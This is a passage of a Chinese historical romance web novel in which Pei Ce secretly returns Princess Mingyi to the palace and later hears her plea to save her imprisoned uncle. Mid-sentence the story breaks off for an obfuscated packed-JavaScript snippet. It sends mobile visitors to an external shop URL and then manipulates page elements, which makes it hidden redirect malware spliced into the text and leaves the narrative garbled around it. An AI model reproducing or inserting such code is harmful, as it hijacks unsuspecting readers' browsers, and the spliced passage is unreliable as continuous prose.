最终裴策选择了送明夷到了天阳门后偷偷跟在明夷身后。果然这小丫头还在骗他,方才那侍女压根没有来这。此处离后宫还有不少距离,四下黑暗寂静,压根不知哪里会窜出来什么人。
裴策怕明夷一人回去遇到危险,又知道明夷不想暴露自己身份,若是他说一路送她回去绝对又会和他吵闹一番,届时万一引来禁卫就麻烦了,说不定还又要掐他一把——裴策感觉自己腰际还在隐隐作痛。
于是看到暗道后,裴策当机立断闪身上前,一巴掌给明夷敲晕了。
就算这大公主醒后怀疑是他将她送回来的,也没有证据不是。
暗道走出来是后宫的御花园,但离伏华殿还有段距离,此刻宫宴将将结束,不远处还传来宾欢之声,禁卫巡逻得也比平时频繁得多。裴策没好气地想着,他才不信这大公主和侍女两人这么大剌剌地回来不会被发现,还是他靠谱。
虽然他也没想明白他堂堂裴氏大公子,好歹也是个从六品的龙骁卫执事,为什么会有一天莫名其妙地尾随别人,还将当朝公主敲晕了背着,走暗道做贼似的给人送回宫。
裴策认命地将明夷背在身后,嘴里衔着女孩的小狗灯笼,脚下使力,下一刹直接跃上了屋顶。皇宫中灯火通明,裴策回忆着以前随父亲进宫时逛过的宫殿位置,少顷便分辨出了路线。他武功扎实,身姿轻盈,一路没有惊动任何,最终顺利将明夷放到了伏华殿外,然后迅速折返。
明夷醒来后发现自己已经躺在自己寝宫中的大床上了,她只记得昨晚云策将自己送到了天阳门外。
对了,清溪。
明夷想起清溪还不知道她回来了,一想到此时已经惊动了齐青——万一齐青也是个兜不住事的连夜进宫禀告了父皇或者兄长——
她慌慌张张下床就要去寻人,却见清溪已经端着吃食走来了。
“殿下醒了?”清溪将吃食布好,快步走来见礼,“昨晚殿下一眨眼就不见了,可教奴婢急坏了,奴婢寻不到殿下便去寻了齐统领,结果齐统领仅差人寻殿下片刻,便收到口信道您已经自行回宫了,奴婢便也抓紧回来了。”
“殿下,您可吓死奴婢了,下次莫要再乱跑了,一定要带上奴婢······”
那便是父皇和兄长都不知道了,初次出宫游大获成功!
明夷压根儿无心听她絮叨,闻言放下心来,喜不自胜地走到铜镜前轻轻一跳,轻盈地坐上了名匠专为她打造的金丝楠木高脚凳上,就差没哼两句小曲儿了。她喜欢坐高凳子,这样腿可以悬在空中晃来晃去的,不过若是被父皇和兰汀姑姑瞧见定会斥她行止不淑,没有一国公主风范。
随即她看见镜子里映出的放在桌上的小狗灯笼,怔了怔。
一晚上烛火燃尽,小狗灯笼已经不亮了,但完好无损。
“清溪,你知道是谁送我回来的吗?”
明夷微微睁大眼睛,心下已经有了猜测,可是云策怎么会知道她是公主?她绝对没有暴露过。明夷立刻在脑子里回想了一遍遇到云策后自己所有的表现,除了不记得自己怎么回来的之外,还是没想明白哪一环出了岔子。
回忆起戴着面具的青衣少年,明夷哼了一声,双腿在空中晃了晃,嘴角却是上扬的。
显然清溪也没闹明白昨晚到底发生了什么,不过只要殿下平安回宫,其他的都不重要:
“奴婢不知,奴婢回来时只听小竹子说,您是突然出现在殿门口的。”躺在地上,睡得可香了。
明夷拧眉沉思起来,此间清溪熟练地给她梳了个双螺髻,怕别人起疑没有别上昨日新买的梅花簪,又画上时兴的梨花钿,便又听明夷突然开口唤了专门负责为自己打探消息的岸柳来:
“去查查,龙骁卫有没有个叫云策的人,约莫十三四岁,这么高。”她伸出小手比划了一下,又道,“切莫打草惊蛇。”
岸柳领命离开,明夷走到桌边拿起小狗灯笼放在铜镜前,又端详了一阵,露出饶有兴致的神色。
看来她同云策,并非一面之缘。
正月十二,白檀带来了前国舅、司空寺卿长孙宗卿入狱的消息。
明夷正在屋中看书,闻言手一抖,书卷无声往下滑了几寸。
“长孙寺卿因何入狱?叶夫人呢?”
“回夫人的话,据说是司空寺给事中今日上奏,称长孙寺卿参与了前朝结党,勾连前东宫旧臣,陛下震怒,现在已经下了大狱,叶夫人也遭了牵连,一起入狱了。”白檀说话时使劲看着明夷的脸色,几次都不欲再说,却又不得不硬着头皮禀报,“长孙府业已被抄了,除去长子长孙淇不知去向外,阖府听候发落。”
显然是新帝登基,朝堂要洗牌了,身为前国舅的长孙家在元成帝面前又哪里有立足之地。
先前拜托裴策去寻云策未果,现在舅父家又出了事。坏消息似乎无穷无尽,而自己却只能眼看着舅父舅母被冤入狱。
明夷视线落回书页上,却是一个字都看不进去了。
“都督在何处?”
“回夫人,都督才下朝回府,还在前院。”
已经是晌午用饭的时间,一刻后,带了帏帽的明夷领着白檀匆匆出了门,根本顾不上用饭了。前院人多口杂,虽然裴策交代过不到万不得已不要出西厢房,但明夷压根儿等不及白檀知会人将他寻来了。不过谨慎起见,她还是遮掩了下容貌,眼下所到之处皆无比陌生,许多脸生的侍卫侍女时不时侧目望过来,明夷也顾不得这么多,拉实了帏帽,微低着头,只有帏帽下一双明亮而焦灼的眼睛在寻路。
她身量高,现下腿伤痊愈加之心急如焚,更是走得飞快,白檀在明夷身后逐渐迈成了小跑,边跑边喘着气给她指路。
都督府太大,明夷走了很久方寻到都督府的前院书房,此处院落比西厢房大气宽阔得多,亭台水榭更是全有数不清的讲究,但明夷根本无心欣赏。终于在书房门口看到了熟面孔,昌平看到白檀便知帏帽下是谁,也不敢拦,只让她在门口稍等片刻,容他进去通传。
很快昌平便又出来了,叫明夷进去。
书房内点了一缕沉静的松香,是裴策身上一贯有的味道,内墙上挂着一柄极漂亮锋利的长剑。绕过山水屏风,明夷见到了还穿着绯红朝服的裴策,后者头发一丝不苟地绾入玉冠中,赤罗衣上金狮鬃毛浓密,威风凛凛。他刚绕过书案走到空处,应当是昌平通传后正欲迎一迎她。
“怎么专门过来一趟?”
明夷看他这八风不动的模样,心说你能不知,但她无意掰扯,边走边摘下帏帽、解掉狐裘,一并随手放在一旁的奇楠沉香木椅上,直接屈膝下去行了大礼。
这人也不八风不动了,上前了一步作势要扶。
“殿下这是做甚,莫要折煞裴某。”
“求都督救我舅父。”她哪还有时间玩那些弯弯绕,明人不说暗话,求人就要有求人的态度,明夷恭顺长跪不愿起来,伏首作揖,“我知都督权势滔天,也知长孙氏在劫难逃,但还是想请都督能大发善心,帮我这一回。”
双手环过头顶,明夷甚至没有脸面说出若裴策出手相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17931345|213412||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
助必定如何报答的话。自己尚且是泥菩萨过江,现在又妄想空手求人。她闭上眼睛,也知道哪怕再伏低做小,没有利益为砣,这样的恳求依旧恐难说服。
裴策的声音从高处传来,无波无澜,像大法寺里不动如山的阿閦佛。
“殿下请起。”
明夷倔强着没有动。
她从未如此求全,只跪过父皇母后,但眼下明夷不觉委屈,她知道裴策和裴氏的本事,倘若裴策愿救长孙一族,哪怕只是救舅父舅母,她不短吃穿,这样跪着又算得了什么。
裴策直起腰,负手垂眼看着眼前的女子。她身形单薄,伏首在地缩成一团,倔强着不肯起来,又想起第一次见明夷时,她求自己帮她找宫女又求自己送她回宫,那副压根儿不把他放在眼里的模样,心中突然感觉到像被针扎了一下般,负在背后的手不自觉攥紧了,一双剑眉也随之拧作一团。
她是他见过最骄傲的人。
“萧明夷,你起来。”
不容置喙的决断感陡然出现在书房的空气中,让明夷心下一凉。这是一个多月以来裴策第一次这样直呼她的大名,声音终于带了几分明显的不悦。若裴策觉得她死缠烂打,一怒之下不仅不帮她还要将她也赶出去,那才彻底完了。她只得抬头站起来,有些困惑地望着他。
“我且告诉你,我不能去救长孙宗卿,你也不能。”
明夷心下凉透了,无助和绝望像一点一点渗进石头的井水,刺骨寒意扎得她骨头发疼,但她知道裴策话没说完,便硬撑着叫自己继续站着。
裴氏冷眼看着她父兄身死,她理解也接受,如今裴策又要看着她母族倾倒,她也可以想通,盖因裴策同她并无交情,先前受友人所托施予救命之恩她尚且无以为报,此刻更没必要为了救长孙氏搭上自己。
但裴策让她也袖手旁观,她委实难以接受。
“事到如今,我便也不瞒你了。”裴策在她的注视下走回案前,铺陈纸笔,左手托住右手广袖写下两个日期,明夷认出分别是自己醒来次日和今日。裴策随即又在两个日期中间画了一条线,“你醒后次日,长孙宗卿便被今上密召入宫中,自那后再未出宫,直至今日和其夫人一起下狱。”
明夷一惊,直接忘记了反应,舅父竟然一月余前便被软禁在宫中了吗。
“现在你再来想一想。”
裴策将写了日期的纸递给她,换了张新纸开始写字,他的字漂亮锋利,笔力遒劲,一看便是下了功夫,狼毫入宣纸,一笔一画皆是从容自持。
“皇宫上下自宫变后便已尽数换上了新帝人手,彼时朝堂已开始清洗,裴氏也是那时决定弃父保我。”
明夷盯着两个日期之间那道笔直而漫长的线,眼睛慢慢睁大了。
是了,既然让乾元嫡系彻底失去根基是元成帝必然要做的,新帝要舅父死,为何不在召他入宫当日便动手,为什么按下不表,又在一个多月后突然发难?
“是为了有正当理由收拢长孙氏名下财产?”明夷目光越过纸上日期,抬眼去看裴策写字,神色渐渐沉下来,“是为了要长孙氏手中的漕运权?”
“不仅如此。”裴策目光不动,拿笔蘸了下墨,写完最后一个晦字后搁下了笔,重新和明夷对视,语气郑重如山石,“你的舅父,便是今上丢下的饵。”
明夷心中陡然巨震,微微长大了嘴巴,巨大的恐慌让她此刻终于彻底冷静下来,一时间心念百转,耳朵里还在继续传来裴策无波如古井的声音:
“殿下是聪明人,不会想不明白。”